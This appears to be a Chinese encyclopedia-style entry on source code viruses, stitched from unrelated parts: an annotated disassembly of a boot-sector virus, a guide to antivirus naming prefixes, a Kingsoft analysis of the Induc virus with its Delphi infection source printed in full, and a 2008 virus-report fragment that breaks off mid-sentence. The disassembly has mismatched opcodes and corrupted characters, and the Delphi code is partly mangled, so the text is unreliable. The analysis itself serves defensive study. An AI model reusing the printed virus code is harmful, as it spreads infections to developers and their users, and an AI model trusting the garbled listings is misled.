複製鏈接
請複製以下鏈接發送給好友

源碼型病毒

鎖定
源碼型病毒攻擊高級語言編寫的程序病毒在高級語言編寫的程序編譯之前插入到源程序中,經編譯成功後成為合法程序的一部分。
中文名
源碼型病毒
外文名
source code virus
適用領域
計算機

源碼型病毒病毒介紹

這是一個典型的引導型病毒,具體名稱已忘記。從使用的技術來看有點像 6.4 病毒(哪位高手知道,請告知)

源碼型病毒病毒分析

;==================================================
;0000:7C0B處為磁盤標誌 ,80H 表示硬盤
;==================================================
0000:7C00 EB1C JMP 7C1E
0000:7C02 00 00 00 00 00 00-00 00 00 80 00 00 00 00 ..............
0000:7C10 00 00 00 00 00 00 00 00-00 00 00 00 00 00   ..............
0000:7C1E FA CLI
0000:7C1F 33C0 XOR AX,AX
0000:7C21 8ED8 MOV DS,AX
0000:7C23 BC007C MOV SS,AX
0000:7C25 8BF4 MOV SI,SP
0000:7C28 FB STI
0000:7C2A C4064C00 LES AX,[004C]
0000:7C2F A3077C MOV [7C07],AX
0000:7C32 8C06097C MOV [7C09],ES
0000:7C36 A11304 MOV AX,[0413]
0000:7C39 48 DEC AX
0000:7C3A 48 DEC AX
0000:7C3B A31304 MOV [0413],AX
0000:7C3E B106 MOV CL,06
0000:7C40 D3E0 SHL AX,CL
0000:7C42 83C0 MOV ES,AX
0000:7C44 B90002 MOV CX,0200
0000:7C47 33FF XOR DI,DI
0000:7C49 FC CLD
0000:7C4A F3 REPZ
0000:7C4B A4 MOVSB
0000:7C4C B88800 MOV AX,0088
0000:7C4F 06 PUSH  ES
0000:7C50 50 PUSH  AX
0000:7C51 CB RETF
;===============================================
;以下是病毒的 INT 13 中斷處理例程
;===============================================
0000:7C52 1E PUSH  DS
0000:7C53 50 PUSH  AX
0000:7C54 F6C2F0 TEST  DL,F0
0000:7C57 7528 JNZ 7C81
0000:7C59 D0EC SHR AH,1
0000:7C5B FECC DEC AH
0000:7C5D 7522 JNZ 7C81
0000:7C5F 33C0 XOR AX,AX
0000:7C61 8ED8 MOV DS,AX
0000:7C63 A16C04 MOV AX,[046C]
0000:7C66 8AC4 MOV AL,AH
0000:7C68 2E CS:
0000:7C69 2A060300 SUB AL,[0003]
0000:7C6D 3C02 CMP AL,02
0000:7C6F 7210 JB  7C81
0000:7C71 2E CS:
0000:7C72 88260300 MOV [0003],AH
0000:7C76 3D0200 CMP AX,0002
0000:7C79 7303 JNB 7C7E
0000:7C7B E8CC00 CALL  7D4A
0000:7C7E E8E800 CALL  7D69
0000:7C81 58 POP AX
0000:7C82 1F POP DS
0000:7C83 2E CS:
0000:7C84 FF2E0700 JMP FAR [0007]
;===============================================
;以下在內存高端執行
;===============================================
0000:7C88 33C0 XOR AX,AX
0000:7C8A 8EC0 MOV ES,AX
0000:7C8C CD13 INT 13
0000:7C8E 0E PUSH  CS
0000:7C8F 1F POP DS
0000:7C90 803E0B0000 CMP BYTE PTR [000B],00
0000:7C95 7424 JZ  7CBB
;===============================================
;以下是對硬盤的處理
;===============================================
0000:7C97 BEAE01 MOV SI,7CAE
0000:7C9A 83C610 ADD SI,+10
0000:7C9D 803C80 CMP BYTE PTR[SI],80
0000:7CA0 75F8 JNZ 7C9A
0000:7CA2 8B14 MOV DX,[SI]
0000:7CA4 8B4C02 MOV CX,[SI+02]
0000:7CA7 BB007C MOV BX,7C00
0000:7CAA B80102 MOV AX,0201
0000:7CAD CD13 INT 13
0000:7CAF 72D7 JB  7C88
0000:7CB1 2E CS:
0000:7CB2 C7064801C007 MOV WORD PTR [0148],07C0
0000:7CB8 EB7B JMP 02
;===============================================
;以下是對軟盤的處理
;===============================================
0000:7CBA 90 NOP
0000:7CBB B280 MOV DL,80
0000:7CBD E8A900 CALL  7D69
0000:7CC0 BF1800 MOV DI,0018
0000:7CC3 8B45F9 MOV AX,[DI-07]
0000:7CC6 B90400 MOV CX,0004
0000:7CC9 D3E8 SHR AX,CL
0000:7CCB 8BE8 MOV BP,AX
0000:7CCD 8B45FE MOV AX,[DI-02]
0000:7CD0 D1E0 SHL AX,1
0000:7CD2 40 INC AX
0000:7CD3 03E8 ADD BP,AX
0000:7CD5 F635 DⅣ BYTE PTR [DI]
0000:7CD7 8ACC MOV CL,AH
0000:7CD9 FEC1 INC CL
0000:7CDB 33D2 XOR DX,DX
0000:7CDD 8AF0 MOV DH,AL
0000:7CDF BB0005 MOV BX,0500
0000:7CE2 B80102 MOV AX,0201
0000:7CE5 CD13 INT 13
0000:7CE7 72F9 JB  7CE2
0000:7CE9 8BC5 MOV AX,BP
0000:7CEB BE3400 MOV SI,0034
0000:7CEE B707 MOV BH,07
0000:7CF0 F635 DⅣ BYTE PTR [DI]
0000:7CF2 33C9 XOR CX,CX
0000:7CF4 86E1 XCHG  AH,CL
0000:7CF6 2BF1 SUB SI,CX
0000:7CF8 F67502 DⅣ BYTE PTR [DI+02]
0000:7CFB 8BD0 MOV DX,AX
0000:7CFD 86D5 XCHG  DL,CH
0000:7CFF 8A05 MOV AL,[DI]
0000:7D01 2AC1 SUB AL,CL
0000:7D03 FEC1 INC CL
0000:7D05 B402 MOV AH,02
0000:7D07 50 PUSH  AX
0000:7D08 CD13 INT 13
0000:7D0A 58 POP AX
0000:7D0B 72F8 JB  7D05
0000:7D0D B101 MOV CL,01
0000:7D0F 02F8 ADD BH,AL
0000:7D11 02F8 ADD BH,AL
0000:7D13 8B05 MOV AX,[DI]
0000:7D15 FEC6 INC DH
0000:7D17 EA7502 CMP DH,[DI+02]
0000:7D1A 7204 JB  7D20
0000:7D1C B600 MOV DH,00
0000:7D1E FEC5 INC CH
0000:7D20 2BF0 SUB SI,AX
0000:7D22 73E1 JNB 7D05
0000:7D24 03C6 ADD AX,SI
0000:7D26 B402 MOV AH,02
0000:7D28 CD13 INT 13
0000:7D2A 8A6DFD MOV CH,[DI-03]
0000:7D2D 8BDD MOV BX,BP
;===============================================
;會根據硬盤軟盤處理而改變
;===============================================
0000:7D2F C70648017000 MOV WORD PTR [0148],0070
;===============================================
;以下為跳轉引導正常分區
;===============================================
0000:7D35 33C0 XOR AX,AX
0000:7D37 A20B00 MOV [000B],AL
0000:7D3A 8ED8 MOV DS,AX
0000:7D3C B052 MOV AL,52
0000:7D3E A34C00 MOV [004C],AX
0000:7D41 8C0E4E00 MOV [004E],CS
0000:7D45 EA00007000 JMP 0070:0000
;===============================================

源碼型病毒病毒防禦

計算機病毒防禦手冊!計算機病毒特點分析如何根據名稱識別計算機病毒  很多時候大家已經用殺毒軟件查出了自己的機子中了例如Backdoor.RmtBomb.12 、Trojan.Win32.SendIP.15 等等這些一串英文還帶數字的病毒名,這時有些人就懵了,那麼長一串的名字,我怎麼知道是什麼病毒啊?  其實只要我們掌握一些病毒的命名規則,我們就能通過殺毒軟件的報告中出現的病毒名來判斷該病毒的一些公有的特性了。 世界上那麼多的病毒,反病毒公司為了方便管理,他們會按照病毒的特性,將病毒進行分類命名。雖然每個反病毒公司的命名規則都不太一樣,但大體都是採用一個統一的命名方法來命名的。一般格式為:<病毒前綴>.<病毒名>.<病毒後綴>。 病毒前綴是指一個病毒的種類,他是用來區別病毒的種族分類的。不同的種類的病毒,其前綴也是不同的。比如我們常見的木馬病毒的前綴 Trojan ,蠕蟲病毒的前綴是 Worm 等等還有其他的。 病毒名是指一個病毒的家族特徵,是用來區別和標識病毒家族的,如以前著名的CIH病毒的家族名都是統一的“ CIH ”,還有近期鬧得正歡的振盪波蠕蟲病毒的家族名是“ Sasser ”。 病毒後綴是指一個病毒的變種特徵,是用來區別具體某個家族病毒的某個變種的。一般都採用英文中的26個字母來表示,如 Worm.Sasser.b 就是指 振盪波蠕蟲病毒的變種B,因此一般稱為 “振盪波B變種”或者“振盪波變種B”。如果該病毒變種非常多(也表明該病毒生命力頑強 ^_^),可以採用數字與字母混合表示變種標識。 綜上所述,一個病毒的前綴對我們快速的判斷該病毒屬於哪種類型的病毒是有非常大的幫助的。通過判斷病毒的類型,就可以對這個病毒有個大概的評估(當然這需要積累一些常見病毒類型的相關知識,這不在本文討論範圍)。而通過病毒名我們可以利用查找資料等方式進一步瞭解該病毒的詳細特徵。病毒後綴能讓我們知道現在在你機子裏待著的病毒是哪個變種。 下面附帶一些常見的病毒前綴的解釋(針對我們用得最多的Windows操作系統): 1、系統病毒 系統病毒的前綴為:Win32、PE、Win95、W32、W95等。這些病毒的一般公有的特性是可以感染windows操作系統的 *.exe 和 *.dll 文件,並通過這些文件進行傳播。如CIH病毒。 2、蠕蟲病毒 蠕蟲病毒的前綴是:Worm。這種病毒的公有特性是通過網絡或者系統漏洞進行傳播,很大部分的蠕蟲病毒都有向外發送帶毒郵件,阻塞網絡的特性。比如衝擊波(阻塞網絡),小郵差(髮帶毒郵件) 等。 3、木馬病毒黑客病毒 木馬病毒其前綴是:Trojan,黑客病毒前綴名一般為 Hack。木馬病毒的公有特性是通過網絡或者系統漏洞進入用户的系統並隱藏,然後向外界泄露用户的信息,而黑客病毒則有一個可視的界面,能對用户的電腦進行遠程控制。木馬、黑客病毒往往是成對出現的,即木馬病毒負責侵入用户的電腦,而黑客病毒則會通過該木馬病毒來進行控制。現在這兩種類型都越來越趨向於整合了。一般的木馬如QQ消息尾巴木馬 Trojan.QQ3344 ,還有大家可能遇見比較多的針對網絡遊戲的木馬病毒如 Trojan.LMir.PSW.60。這裏補充一點,病毒名中有PSW或者什麼PWD之類的一般都表示這個病毒有盜取密碼的功能(這些字母一般都為“密碼”的英文“password”的縮寫)一些黑客程序如:網絡梟雄(Hack.Nether.Client)等。 4、腳本病毒  腳本病毒的前綴是:Script。腳本病毒的公有特性是使用腳本語言編寫,通過網頁進行的傳播的病毒,如紅色代碼(Script.Redlof)——可不是我們的老大代碼兄哦 ^_^。腳本病毒還會有如下前綴:VBS、JS(表明是何種腳本編寫的),如歡樂時光(VBS.Happytime)、十四日(Js.Fortnight.c.s)等。 5、宏病毒 其實宏病毒是也是腳本病毒的一種,由於它的特殊性,因此在這裏單獨算成一類。宏病毒的前綴是:Macro,第二前綴是:Word、Word97、Excel、Excel97(也許還有別的)其中之一。凡是隻感染WORD97及以前版本WORD文檔的病毒採用Word97做為第二前綴,格式是:Macro.Word97;凡是隻感染WORD97以後版本WORD文檔的病毒採用Word做為第二前綴,格式是:Macro.Word;凡是隻感染EXCEL97及以前版本EXCEL文檔的病毒採用Excel97做為第二前綴,格式是:Macro.Excel97;凡是隻感染EXCEL97以後版本EXCEL文檔的病毒採用Excel做為第二前綴,格式是:Macro.Excel,依此類推。該類病毒的公有特性是能感染OFFICE系列文檔,然後通過OFFICE通用模板進行傳播,如:著名的美麗莎(Macro.Melissa)。 6、後門病毒 後門病毒的前綴是:Backdoor。該類病毒的公有特性是通過網絡傳播,給系統開後門,給用户電腦帶來安全隱患。如54很多朋友遇到過的IRC後門Backdoor.IRCBot。 7、病毒種植程序病毒 這類病毒的公有特性是運行時會從體內釋放出一個或幾個新的病毒到系統目錄下,由釋放出來的新病毒產生破壞。如:冰河播種者(Dropper.BingHe2.2C)、MSN射手(Dropper.Worm.Smibag)等。 8.破壞性程序病毒 破壞性程序病毒的前綴是:Harm。這類病毒的公有特性是本身具有好看的圖標來誘惑用户點擊,當用户點擊這類病毒時,病毒便會直接對用户計算機產生破壞。如:格式化C盤(Harm.formatC.f)、殺手命令(Harm.Command.Killer)等。 9.玩笑病毒 玩笑病毒的前綴是:Joke。也稱惡作劇病毒。這類病毒的公有特性是本身具有好看的圖標來誘惑用户點擊,當用户點擊這類病毒時,病毒會做出各種破壞操作來嚇唬用户,其實病毒並沒有對用户電腦進行任何破壞。如:女鬼(Joke.Girlghost)病毒。 10.捆綁機病毒 捆綁機病毒的前綴是:Binder。這類病毒的公有特性是病毒作者會使用特定的捆綁程序將病毒與一些應用程序如QQ、IE捆綁起來,表面上看是一個正常的文件,當用户運行這些捆綁病毒時,會表面上運行這些應用程序,然後隱藏運行捆綁在一起的病毒,從而給用户造成危害。如:捆綁QQ(Binder.QQPass.QQBin)、系統殺手(Binder.killsys)等。 以上為比較常見的病毒前綴,有時候我們還會看到一些其他的,但比較少見,這裏簡單提一下: DoS:會針對某台主機或者服務器進行DoS攻擊; Exploit:會自動通過溢出對方或者自己的系統漏洞來傳播自身,或者他本身就是一個用於Hacking的溢出工具; HackTool:黑客工具,也許本身並不破壞你的機子,但是會被別人加以利用來用你做替身去破壞別人。 你可以在查出某個病毒以後通過以上所説的方法來初步判斷所中病毒的基本情況,達到知己知彼的效果。在殺毒無法自動查殺,打算採用手工方式的時候這些信息會給你很大的幫助。
金山雲安全中心近日在國內率先截獲了一個針對計算機程序員、尤其是Delphi使用者的病毒“Delphi夢魘”(Win32.Induc.b.820224),簡單描述該毒行為,就是:它專門感染Delphi程序員的電腦,一旦成功,程序員今後寫出的任何程序,都將帶有該毒!
以下是金山毒霸病毒分析組對Virus.Win32.Induc.a 感染型的分析:
一、文件信息
文件大小:163840字節
加殼類型:ASPack 2.12
編寫語言:Borland Delphi6.0
病毒類型:感染型
二、病毒描述
該樣本為Delphi感染型病毒,通過感染Delphi庫文件中的SysConst.dcu文件,使用户在使用被感染的庫文件編程後,生成的文件均被感染。
三、病毒行為
⒈病毒在第N次處理初始化表時(Call StartExe)進行操作,即完成在程序加載正常Delphi文件前執行病毒代碼。(數字N根據被感染用户的Delphi版本不同有所不同)。
⒉循環檢測註冊表鍵值HKLMsoftwareBorlandDelphiX.0 判斷當前機器是否安裝Delphi。檢測版本(4.0 5.0 6.0 7.0)。如本機未安裝則直接跳出病毒代碼進行正常的初始化工作,不進行感染。
⒊如安裝了Delphi則通過訪問註冊表得到用户的Delphi安裝路徑。
⒋根據用户安裝路徑將源文件夾中的SysConst.pas和庫文件夾中的SysConst.dcu備份;
即%%SourceRtlSysSysConst.pas 與%%LibSysConst.dcu。
⒌將Delphi源碼代碼寫入源文件SysConst.pas中
⒍調用%%Bindcc32.exe 將感染後的源碼文件SysConst.pas 生成本地庫文件放入Lib替換SysConst.dcu文件。
⒎將正常SysConst.pas備份恢復,刪除源碼中感染的文件。
⒏更改庫文件中被替換後的SysConst.dcu文件時間,使其與其他文件一致。
四、病毒危害程度
該病毒實際上並不具有危害性,只是其更改了庫文件後使編譯生成的所有程序均帶有不正常代碼,而其代碼行為即為以上描述。
因為其將Delphi庫文件修改使其使用Delphi語言編譯後的文件均被感染,所以被感染文件大小不一,加殼情況也各異,本分析樣本只是從中隨機挑選,樣本大小與加殼類型都不具有代表性。
五、解決方案
這個病毒具有二次感染能力,也就是説原來你編譯出來的所有Delphi程序都可以再次感染你機器上的Delphi庫文件,要徹底清除該病毒需做到以下幾點:
1、不要運行任何Delphi編寫的程序。
2、使用殺軟掃描所有的Delphi編寫的可執行文件並清除病毒。(或直接刪除所有哦的Delphi編寫的可執行文件,包括從網上下載的)
3、將文件 %DelphiInstallPath%LibSysConst.dcu 刪掉,然後執行步驟4 或 步驟5和6。
4、將文件 %DelphiInstallPath%LibSysConst.bak 改名為 SysConst.dcu,結束。
5、調用 DCC32.exe 編譯出新的 SysConst.dcu ,編譯命令如下:%DelphiInstallPath%binDCC32.exe "%DelphiInstallPath% SourceRtlSysSysConst.pas"
6、將新編譯的SysConst.dcu(在%DelphiInstallPath% SourceRtlSys目錄下)文件複製到 %DelphiInstallPath%Lib 目錄,結束。
六、附錄(Delphi源碼)
uses windows;
var sc:array[1..24] of string=
function x(s:string):string;
var i:integer;
begin
for i:=1 to length(s) do
if s[i]=#36 then
s[i]:=#39;
result:=s;
end;
procedure re(s,d,e:string);
var f1,f2 : textfile;
h : cardinal;
f : STARTUPINFO;
p : PROCESS_INFORMATION;
b : boolean;
t1,t2,t3 : FILETIME;
begin
CreateFile(pchar(d + $bak$),0,0,0,3,0,0);
if h<>DWORD(-1) then begin
CloseHandle(h);
exit;
end;
assignfile(f1,s);
reset(f1);
if ioresult<>0 then
exit;
assignfile(f2,d + $pas$);
rewrite(f2);
if ioresult<>0 then begin
closefile(f1);
exit;
end;
while not eof(f1) do begin
readln(f1,s);
writeln(f2,s);
if pos($implementation$,s) <>0 then
break;
end;
for h:= 1 to 1 do
writeln(f2,sc[h]);
for h:= 1 to 23 do
writeln(f2,$$$$+sc[h],$$$,$);
writeln(f2,$$$$+sc[24]+$$$);$);
for h:= 2 to 24 do
writeln(f2,x(sc[h]));
closefile(f1);
closefile(f2);
MoveFile(pchar(d+$dcu$),pchar(d+$bak$));
fillchar(f,sizeof(f),0);
f.cb:=sizeof(f);
f.dwFlags:=STARTF_USESHOWWINDOW;
f.wShowWindow:=SW_HIDE;
b:=CreateProcess(nil,pchar(e+$"$+d+$pas"$),0,0,false,0,0,0,f,p);
if b then
WaitForSingleObject(p.hProcess,INFINITE);
MoveFile(pchar(d+$bak$),pchar(d+$dcu$));
DeleteFile(pchar(d+$pas$));
h:=CreateFile(pchar(d+$bak$),0,0,0,3,0,0);
if h=DWORD(-1) then
exit;
GetFileTime(h,@t1,@t2,@t3);
h:= CreateFile(pchar(d+$dcu$),256,0,0,3,0,0);
if h=DWORD(-1) then
exit;
SetFileTime(h,@t1,@t2,@t3);
CloseHandle(h);
end;
procedure st;
var k : HKEY;
c : array [1..255] of char;
i : cardinal;
r : string;
v : char;
begin
for v:=$ to $ do
if RegOpenKeyEx(HKEY_LOCAL_MACHINE,pchar($SoftwareBorlandDelphi$ + v+ $.0$),0,KEY_READ,k) = 0 then begin
i:=255;
if RegQueryValueEx(k,$RootDir$,nil,@i,@c,@i)=0 then begin
r:=$$;
i:= 1;
while c[i] <> #0 do begin
r:=r+c[i];
inc(i);
end;
re(r + $sourcertlsysSysConst$ + $.pas$,r + $libsysconst.$,$"$+r+$bindcc32.exe"$);
end;
end;
end;
begin
st;
end.
2008年中國電腦病毒疫情及互聯網安全報告》中的數據由金山毒霸全球反病毒監測中心、金山毒霸雲安全中心、金山毒霸全球病毒應急處理中心、金山毒霸客户服務中心聯合監測得出。本報告的所有結論和所持觀點均由金山獨家發佈,與其它合作公司、部門無關。同時您及金山均認可病毒、木馬、惡意程序等的產生、傳播存在不可控制性及不可預見性,因此金山僅保證在其可掌握的數據、技術水平許可範圍內及其已掌控病毒範圍內出具本報告,金山不就任何其尚未掌控的病毒、木馬、惡意程序等作任何保證,但金山將致力於不斷提高技術水平及掌控病毒範圍。您已經明確知悉所述情況,並承諾不因信任或使用本報告而可能出現的任何結果向金山主張權利。
2008年,中國新增計算機病毒、木馬數量呈爆炸式增長,總數量已突破千萬。病毒製造的模塊化、專業化以及病毒“運營”模式的互聯網化成為2008年中國計算機病毒發展的三大顯著特徵。同時,病毒製造者的“逐利性”依舊沒有改變,網頁掛馬、漏洞攻擊成為黑客獲利的主要渠道。
一、2008年中國計算機病毒、木馬整體情況分析
2008年,新增計算機病毒、木馬數量呈幾何級增長。據金山毒霸“雲安全”中心監測數據顯示,2008年,金山毒霸共截獲新增病毒、木馬13899717個,與2007年相比增長48倍。
在新增的病毒、木馬中,新增木馬數為7801911個,佔全年新增病毒、木馬總數的56.13%;黑客後門類佔全年新增病毒、木馬總數的21.97%;而網頁腳本所佔比例從2007年的0.8%躍升至5.96%,成為增長速度最快的一類病毒。金山毒霸“雲安全”中心統計數據顯示,90%的病毒依附網頁感染用户。2008年,據金山毒霸“雲安全”中心統計數據,全國共有69738785台計算機感染病毒,與07年相比增長了40%,